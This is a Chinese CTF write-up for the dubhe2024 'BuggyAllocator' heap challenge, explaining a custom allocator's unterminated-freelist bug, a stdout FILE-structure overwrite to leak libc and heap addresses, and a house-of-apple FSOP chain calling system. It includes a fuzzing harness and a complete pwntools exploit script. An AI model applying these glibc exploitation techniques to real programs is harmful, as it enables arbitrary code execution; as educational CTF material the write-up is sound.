首页 > 其他分享 >dubhe2024 BuggyAllocator:通过修改_IO_2_1_stdout_的内容进行任意读

dubhe2024 BuggyAllocator:通过修改_IO_2_1_stdout_的内容进行任意读

时间:2024-03-28 16:57:49浏览次数:24  
标签:dubhe2024 p64 stdout write base IO fake

在堆题中遇到没有show()函数的情况,导致无法泄露地址。这时可以通过修改_IO_2_1_stdout_来强制程序输出一段内存,从而泄露需要的地址。

例题:dubhe2024 BuggyAllocator

dubhe2024,xctf分站赛最后一场凄惨爆零,主看了这道题一整天,逆清楚了但找不到漏洞。事后来看当时就算找到洞了也不会这种泄露手法。

简单逆一下程序,结构体整理好,可以发现就是一般菜单题,但当size<=0x80,即fastsize时会使用自己写的堆管理器来管理。管理方式:一个个纯粹的单链表构成类fastbin结构,当该size的fastbin不足时会尝试往该fastbin中塞20个。首先尝试从预先malloc出来的topchunk到extopchunk这段空间中取20size的空间,拿出来返回回去并往fastbin中塞19个;若取不到20个那么少取一些也行;若topchunk到extopchunk的空间连一个size都取不出来,则先将extopchunk到topchunk这段空间放入fastbin防止内存泄漏,随后先调整topchunk再进行分配。首先找比当前size大的fastbin,若存在,则取出该fastbin并将该chunk的头尾设为topchunk和extopchunk,再返回第一步尝试分配;若没有比当前chunk大的fastbin,就考虑malloc(40size)作为topchunk和extopchunk,再返回第一步尝试分配。

程序漏洞在于fastbin没有对单链表结束的判断,也没有链表长度统计。所以当程序尝试往fastbin中填充20个chunk时,如果第20个chunk的fd处本来就有数据,那么链表就会被错误地延长。因此,先malloc一个大chunk,在第20个chunk的fd处写入特定的数据,即可实现任意地址分配堆块,实现任意写。

本文主要地址泄露手法主要参考了这篇文章
首先看一下IO_file的结构

0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'

通过gdb单步调试了解到,puts("ABCDEFGH")函数大致可以分为两步:
1.将"ABCDEFGH"一个个写到_IO_write_base和_IO_write_ptr申请的堆地址上,_IO_write_base和_IO_write_p分别指向buf的头和尾。
2.调用sys_write(1,_IO_write_base,_IO_write_ptr-_IO_write_base)
在这些过程中,_flags位用于指挥程序运行流程。看下来并没有什么神秘的部分,感觉一系列操作都挺多余的,也不知道为什么libc要这么封装(
阅读上面那篇博客,我们可以得知:
1.设置_flags为0xfbad1800
2.设置_IO_write_base为泄露起始地址
3.设置_IO_write_ptr为泄露结束地址
随后再任意调用一下puts函数,即可完成泄露。

好了理论讲完了,回到题目看看,发现全程用的都是cout<<没有puts(),OvO。嘛不管了差不多的啦,cout<<肯定封装的更多所以应该会有效的吧。。
把堆块分配到stdout上,什么也别干啥也别动,再申请一个就能申请到_IO_2_1_stdout_了,这样修改:

fake_stdout = p64(0xfbad1800) + p64(0)
fake_stdout+= p64(0) + p64(0)
fake_stdout+= p64(0x4045d0) + p64(0x4046d0)

不用自作聪明把其他的什么_IO_read_ptr或者_IO_buf_base改到同一个什么可写地址,这样好像会让cout<<出错然后自己exit()。前面写0后面不管就可以了,程序做完一次cout就自动变回去了。
image
专门挑了个方便点的地方把libc和heap都搞出来,然后就泄露好了。

再就是打house of apple就行了。避免麻烦直接用system了,发现直接system("/bin/sh")或者system("sh")会导致进不去system,毕竟写"/bin/sh"的那里是_flags,不过前面加个空格就好了,但system(" sh")拿到的shell不知道为啥没法交互。最终system(" cat flag")拿了flag,还是没拿到shell。学了个py好看的语法糖:

IO_file = flat({
0x0: b"  sh",
0x28: b"\1",
0x68: p64(system),
0xa0: p64(fake_addr), # wide data
0xD8: p64(_IO_wfile_jumps), # vtable
0xe0: p64(fake_addr)
}, filler=b"\0")

伪造的IO_file完全可以申请一个大chunk放进去,不知道V&N战队为啥还把IO_file拆开到两个chunk里去,可能是做题到最后头晕忘了吧。
最后的最后,懒得搞堆风水了,把原来申请在_IO_2_1_stdout_的chunk释放了再申请回来,把_IO_2_1_stdout_的_chain改到伪造的IO_file处。最后随便输点啥退出即可,题目没有为难俺们。

此外这次比赛期间还试了一下fuzz,虽然没fuzz出洞来,但也算是初尝试了吧,这里记一些python语法和模板:

allocated = []
unallocat = [i for i in range(64)]
def fuzz(T):
    f = open("log.txt","w")
    for i in range(0,T):
        if((randint(0,1) or len(allocated)<2) and len(unallocat)>1):
            idxidx = randint(0, len(unallocat)-1)
            idx = unallocat[idxidx]
            allocated.append(idx)
            unallocat.pop(idxidx)
            siz = 0xa0*randint(1,0x20)
            f.write("add({},".format(idx) + "{})\n".format(siz))
            add(idx,siz,b"AAAAAAAA")
        else:
            idxidx = randint(0,len(allocated)-1)
            idx = allocated[idxidx]
            unallocat.append(idx)
            allocated.pop(idxidx)
            f.write("fre({})\n".format(idx))
            fre(idx)

try:
    fuzz(0x8000)
except EOFError:
    print("gg!")

exp:

from pwn import*
from struct import pack

p = process("./pwn")
libc = ELF("./libc.so.6")

def add(idx,siz,cot):
    p.sendlineafter("> ","1")
    p.sendlineafter(": ",str(idx))
    p.sendlineafter(": ",str(siz))
    p.sendafter(": ",cot)

def fre(idx):
    p.sendlineafter("> ","2")
    p.sendlineafter(": ",str(idx))

def exi():
    p.sendlineafter("> ","sb,you've been hacked!")

bss_H = 0x404900
stdout = 0x404040
payload = b'A'*(19*0x80) + p64(stdout)
add(0,0x2000,payload)
fre(0)
for i in range(20):
    add(i,0x80,"BBBBBBBB")

add(20,0x80,"\x80")
fake_stdout = p64(0xfbad1800) + p64(0)
fake_stdout+= p64(0) + p64(0)
fake_stdout+= p64(0x4045d0) + p64(0x4046d0)

add(21,0x80,fake_stdout)
p.recv(8)
heap_base = u64(p.recv(8))
p.recv(0x18)
_IO_2_1_stdout_ = u64(p.recv(8))
libc_base = _IO_2_1_stdout_ - libc.symbols["_IO_2_1_stdout_"]
print(hex(libc_base))
print(hex(heap_base))
system = libc_base + libc.symbols["system"]
_IO_wfile_jumps = libc_base + libc.symbols["_IO_wfile_jumps"]
fake_addr = heap_base + 0xa90
IO_file = flat({
0x0: b"  sh",
0x28: b"\1",
0x68: p64(system),
0xa0: p64(fake_addr), # wide data
0xD8: p64(_IO_wfile_jumps), # vtable
0xe0: p64(fake_addr)
}, filler=b"\0")
add(22,0x100,IO_file)

fre(21)
fake_stdout = p64(0xfbad1800) + p64(_IO_2_1_stdout_+131)
fake_stdout+= p64(_IO_2_1_stdout_+131) + p64(_IO_2_1_stdout_+131)
fake_stdout+= p64(_IO_2_1_stdout_+131) + p64(_IO_2_1_stdout_+131)
fake_stdout+= p64(_IO_2_1_stdout_+132) + p64(_IO_2_1_stdout_+131)
fake_stdout+= p64(_IO_2_1_stdout_+132) + p64(0)
fake_stdout+= p64(0) + p64(0)
fake_stdout+= p64(0) + p64(fake_addr)
add(21,0x80,fake_stdout)
exi()
p.interactive()

标签:dubhe2024,p64,stdout,write,base,IO,fake
From: https://www.cnblogs.com/SegTree/p/18101180

相关文章

  • msg="Sync \"monitoring/main\" failed: provision alertmanager configuration: ba
    今天在调整k8s监控的时候有个搞错这里做个记录以及处理方法level=infots=2024-03-28T08:30:21.320852843Zcaller=operator.go:742component=alertmanageroperatorkey=monitoring/mainmsg="syncalertmanager"level=errorts=2024-03-28T08:30:21.324600111Zcaller=klo......
  • iOS系统下最佳的3款HTTP抓包工具:Thor、克魔助手和Http Catcher
     引言在苹果手机的iOS系统相对封闭的情况下,抓包工具并不是很常见。大多数人可能对这类工具并不熟悉,除了少数安全专家之外,一般用户很少会接触到这些工具。然而,在某些特定场景下,比如网络调试、安全测试等,抓包工具的作用不可忽视。本文将介绍三款在iOS系统下比较优秀的HTTP抓包App......
  • AI 绘画平台难开发,难变现?试试 Stable Diffusion API Serverless 版解决方案
    StableDiffusion模型,已经成为AI行业从传统深度学习时代走向AIGC时代的标志性里程碑。越来越多的开发者借助stable-diffusion-webui(以下简称SDWebUI)能力进行AI绘画领域创业或者业务上新,获得高流量及商业价值,但是面对多客户、高并发的复杂场景,使用原生StableDiffusio......
  • 基于Axios封装请求---防止接口重复请求解决方案
     一、引言前端接口防止重复请求的实现方案主要基于以下几个原因:用户体验:重复发送请求可能导致页面长时间无响应或加载缓慢,从而影响用户的体验。特别是在网络不稳定或请求处理时间较长的情况下,这个问题尤为突出。服务器压力:如果前端不限制重复请求,服务器可能会接收到大量......
  • iOS网络抓包工具全解析
     摘要本文将深入探讨iOS平台上常用的网络抓包工具,包括Charles、克魔助手、Thor和HttpCatcher,以及通过SSH连接进行抓包的方法。此外,还介绍了克魔开发助手作为iOS应用开发的辅助工具,提供的全方面性能监控和调试功能。在iOS应用开发过程中,网络抓包工具是至关重要的工具之一。它们......
  • DVWA-Command Injection通关教程-完结
    DVWA-CommandInjection通关教程文章目录DVWA-CommandInjection通关教程LowMediumHighImpossibleLow打开靶场,发现这是一个可以输入ip,测试连通性的界面源码分析这里直接将target变量放入shell_exec()执行ping命令,没有进行任何过滤,用户端可以直接拼接特定的命令,来......
  • 在Linux中,如何使用iostat、sar、netstat等工具进行硬件资源监控?
    在Linux系统中,有多种工具可用于监控硬件资源,其中iostat、sar和netstat是常用的几个。下面我会详细解释如何使用这些工具进行硬件资源监控。1.iostat:监控磁盘I/O统计信息iostat是一个用于监视系统输入/输出设备加载情况的工具。它可以报告中央处理器(CPU)统计信息和所有已安装文件......
  • SAP Fiori开发中的JavaScript基础知识1 - 背景介绍
    1.背景开发SAPFiori应用程序过程中,不可避免的要用到JavaScript去增强或影响UI的行为。对于传统ABAPer,JavaScript的语言特性和风格与ABAP是有较大的不同的。接下来的一段时间,我会尝试整理在SAPFiori开发过程中会常用到的一些JavaScript基础知识,并结合介绍在SAPBAS中开发Fio......
  • SAP Fiori开发中的JavaScript基础知识2 - 变量,操作符,值,类型
    1.JavaScript代码示例在介绍JavaScript具体语法前,让我们先看一段在Web应用程序过程中的JS代码片。<!DOCTYPEhtml><html> <head> <metacharset="utf-8"/> <title>FirstJavaScriptApplication!</title> <scriptsrc="js/myExternal.js&q......
  • 高效运维_AIRIOT智慧电力运维解决方案
    可再生能源的引入带来了能源生产的去中心化和分散化趋势,同时也带来了能源输出的波动性和不确定性。电力运维因此需要更加灵活、智能的解决方案,以适应可再生能源的集成,确保电力系统的稳定运行,传统的电力运维管理方式往往存在如下痛点:数据管理和集成难度大:电力系统涉及大量的数据......